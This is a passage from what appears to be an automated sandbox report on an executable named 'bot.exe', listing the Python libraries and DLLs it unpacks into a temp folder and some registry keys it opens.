sections"- Location: [%TEMP%\_MEI0000052c2\python314.dll]- [targetUID: 00000000-00001324] "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\numpy.libs\msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll]- [targetUID: 00000000-00001324] "libportaudio64bit-asio.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio64bit-asio.dll]- [targetUID: 00000000-00001324] "libportaudioarm64-asio.dll" has type "PE32+ executable for MS Windows 6.02 (DLL) ARM64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudioarm64-asio.dll]- [targetUID: 00000000-00001324] "libportaudio64bit.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio64bit.dll]- [targetUID: 00000000-00001324] "libportaudioarm64.dll" has type "PE32+ executable for MS Windows 6.02 (DLL) ARM64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudioarm64.dll]- [targetUID: 00000000-00001324] "libportaudio32bit-asio.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio32bit-asio.dll]- [targetUID: 00000000-00001324] "libportaudio32bit.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio32bit.dll]- [targetUID: 00000000-00001324] "cacert.pem" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\certifi\cacert.pem]- [targetUID: 00000000-00001324] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\VCRUNTIME140.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-private-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-private-l1-1-0.dll]- [targetUID: 00000000-00001324] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%TEMP%\_MEI0000052c2\python3.dll]- [targetUID: 00000000-00001324] "VCRUNTIME140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\VCRUNTIME140_1.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-math-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-math-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-string-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-string-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-stdio-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-stdio-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-runtime-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-runtime-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-file-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-file-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-convert-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-convert-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-process-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-process-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-processthreads-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-processthreads-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-heap-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-heap-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-time-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-time-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-namedpipe-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-namedpipe-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-errorhandling-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-errorhandling-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-sysinfo-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-sysinfo-l1-2-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-kernel32-legacy-l1-1-1.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-kernel32-legacy-l1-1-1.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-synch-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-synch-l1-2-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-profile-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-profile-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-environment-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-environment-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-localization-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-localization-l1-2-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-locale-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-locale-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-processthreads-l1-1-1.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-processthreads-l1-1-1.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-fibers-l1-1-1.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-fibers-l1-1-1.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-heap-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-heap-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-fibers-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-fibers-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-console-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-console-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-interlocked-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-interlocked-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-sysinfo-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-sysinfo-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-filesystem-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-filesystem-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-memory-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-memory-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-libraryloader-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-libraryloader-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-string-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-string-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-conio-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-conio-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-datetime-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-datetime-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-file-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-file-l1-2-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-timezone-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-timezone-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-synch-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-synch-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-processenvironment-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-processenvironment-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-file-l2-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-file-l2-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-rtlsupport-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-rtlsupport-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-utility-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-utility-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-debug-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-debug-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-util-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-util-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-handle-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-handle-l1-1-0.dll]- [targetUID: 00000000-00001324] "_rust.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\cryptography\hazmat\bindings\_rust.pyd]- [targetUID: 00000000-00001324] "cv2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 10 sections"- Location: [%TEMP%\_MEI0000052c2\cv2\cv2.pyd]- [targetUID: 00000000-00001324] "_avif.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\PIL\_avif.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_multiarray_umath.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\_core\_multiarray_umath.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_imaging.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\PIL\_imaging.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "base_library.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Jan 01 1980 00:00:00 uncompressed size 7939 method=store"- Location: [%TEMP%\_MEI0000052c2\base_library.zip]- [targetUID: 00000000-00001324] "_generator.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_generator.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "mtrand.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\mtrand.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_zstd.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_zstd.pyd]- [targetUID: 00000000-00001324] "_webp.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\PIL\_webp.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_decimal.pyd]- [targetUID: 00000000-00001324] "_pocketfft_umath.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\fft\_pocketfft_umath.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_imagingcms.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\PIL\_imagingcms.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "libportaudio.dylib" has type "Mach-O universal binary with 2 architectures: [x86_64:\012- Mach-O 64-bit x86_64 dynamically linked shared library flags:] [\012- arm64:\012- Mach-O 64-bit arm64 dynamically linked shared library flags:]"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio.dylib]- [targetUID: 00000000-00001324] "_bounded_integers.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_bounded_integers.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "md.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\charset_normalizer\md.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\pyexpat.pyd]- [targetUID: 00000000-00001324] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_ssl.pyd]- [targetUID: 00000000-00001324] "_cffi_backend.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_cffi_backend.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_common.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_common.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "bit_generator.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\bit_generator.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_lzma.pyd]- [targetUID: 00000000-00001324] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_ctypes.pyd]- [targetUID: 00000000-00001324] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_elementtree.pyd]- [targetUID: 00000000-00001324] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_sqlite3.pyd]- [targetUID: 00000000-00001324] "cd.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\charset_normalizer\cd.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "RECORD" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\RECORD]- [targetUID: 00000000-00001324] "_umath_linalg.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\linalg\_umath_linalg.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_pcg64.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_pcg64.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_mt19937.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_mt19937.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_philox.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_philox.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_socket.pyd]- [targetUID: 00000000-00001324] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_bz2.pyd]- [targetUID: 00000000-00001324] "sslkey.txt" has type "Unknown"- Location: [%TEMP%\sslkey.txt]- [targetUID: 00000000-00002724] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_asyncio.pyd]- [targetUID: 00000000-00001324] "_psutil_windows.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\psutil\_psutil_windows.pyd]- [targetUID: 00000000-00001324] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_hashlib.pyd]- [targetUID: 00000000-00001324] "_multiarray_tests.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\_core\_multiarray_tests.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_sfc64.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_sfc64.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_overlapped.pyd]- [targetUID: 00000000-00001324] "LICENSE.txt" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\LICENSE.txt]- [targetUID: 00000000-00001324] "cryptography-rust.cyclonedx.json" has type "JSON text data"- Location: [%TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info\sboms\cryptography-rust.cyclonedx.json]- [targetUID: 00000000-00001324] "_wmi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_wmi.pyd]- [targetUID: 00000000-00001324] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_multiprocessing.pyd]- [targetUID: 00000000-00001324] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_queue.pyd]- [targetUID: 00000000-00001324] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_uuid.pyd]- [targetUID: 00000000-00001324] "LICENSE" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\_core\src\highway\LICENSE]- [targetUID: 00000000-00001324] "RECORD" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info\RECORD]- [targetUID: 00000000-00001324] "_imagingtk.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\PIL\_imagingtk.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "__init__.py" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cv2\__init__.py]- [targetUID: 00000000-00001324] "METADATA" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\METADATA]- [targetUID: 00000000-00001324] "__init__.py" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cv2\typing\__init__.py]- [targetUID: 00000000-00001324] "METADATA" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info\METADATA]- [targetUID: 00000000-00001324] "LICENSE.md" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\random\LICENSE.md]- [targetUID: 00000000-00001324] "LICENSE.md" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\random\src\mt19937\LICENSE.md]- [targetUID: 00000000-00001324] "LICENSE.md" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\random\src\distributions\LICENSE.md]- [targetUID: 00000000-00001324] "LICENSE.txt" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\linalg\lapack_lite\LICENSE.txt]- [targetUID: 00000000-00001324] "LICENSE" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\ma\LICENSE]- [targetUID: 00000000-00001324] "LICENSE" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\_core\src\umath\svml\LICENSE]- [targetUID: 00000000-00001324] "LICENSE.md" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\_core\src\npysort\x86-simd-sort\LICENSE.md]- [targetUID: 00000000-00001324] "LICENSE.md" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\random\src\philox\LICENSE.md]- [targetUID: 00000000-00001324] "LICENSE.md" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\fft\pocketfft\LICENSE.md]- [targetUID: 00000000-00001324] "dragon4_LICENSE.txt" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\_core\src\multiarray\dragon4_LICENSE.txt]- [targetUID: 00000000-00001324] "LICENSE.md" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\random\src\sfc64\LICENSE.md]- [targetUID: 00000000-00001324] "sbom.json" has type "JSON text data"- Location: [%TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info\sboms\sbom.json]- [targetUID: 00000000-00001324] "LICENSE.md" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\random\src\pcg64\LICENSE.md]- [targetUID: 00000000-00001324] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\_MEI0000052c2\cv2\mat_wrapper\__init__.py]- [targetUID: 00000000-00001324] "LICENSE.txt" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\_core\include\numpy\libdivide\LICENSE.txt]- [targetUID: 00000000-00001324] "README.md" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\README.md]- [targetUID: 00000000-00001324] "config-3.py" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cv2\config-3.py]- [targetUID: 00000000-00001324] "COPYING" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\_core\src\common\pythoncapi-compat\COPYING]- [targetUID: 00000000-00001324] "DELVEWHEEL" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\DELVEWHEEL]- [targetUID: 00000000-00001324] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\_MEI0000052c2\cv2\utils\__init__.py]- [targetUID: 00000000-00001324] "LICENSE.md" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\random\src\splitmix64\LICENSE.md]- [targetUID: 00000000-00001324] "load_config_py3.py" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cv2\load_config_py3.py]- [targetUID: 00000000-00001324] "entry_points.txt" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\entry_points.txt]- [targetUID: 00000000-00001324] "config.py" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cv2\config.py]- [targetUID: 00000000-00001324] "WHEEL" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info\WHEEL]- [targetUID: 00000000-00001324] "version.py" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cv2\version.py]- [targetUID: 00000000-00001324] "version.py" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cv2\misc\version.py]- [targetUID: 00000000-00001324] "WHEEL" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\WHEEL]- [targetUID: 00000000-00001324] "__init__.py" has type "Unknown"- Location: [%TEMP%\_MEI0000052c2\cv2\data\__init__.py]- [targetUID: 00000000-00001324] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\_MEI0000052c2\cv2\misc\__init__.py]- [targetUID: 00000000-00001324] "hwgxuvm0" has type "Unknown"- Location: [%TEMP%\hwgxuvm0]- [targetUID: 00000000-00002724]56:T6bb,"bot.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; 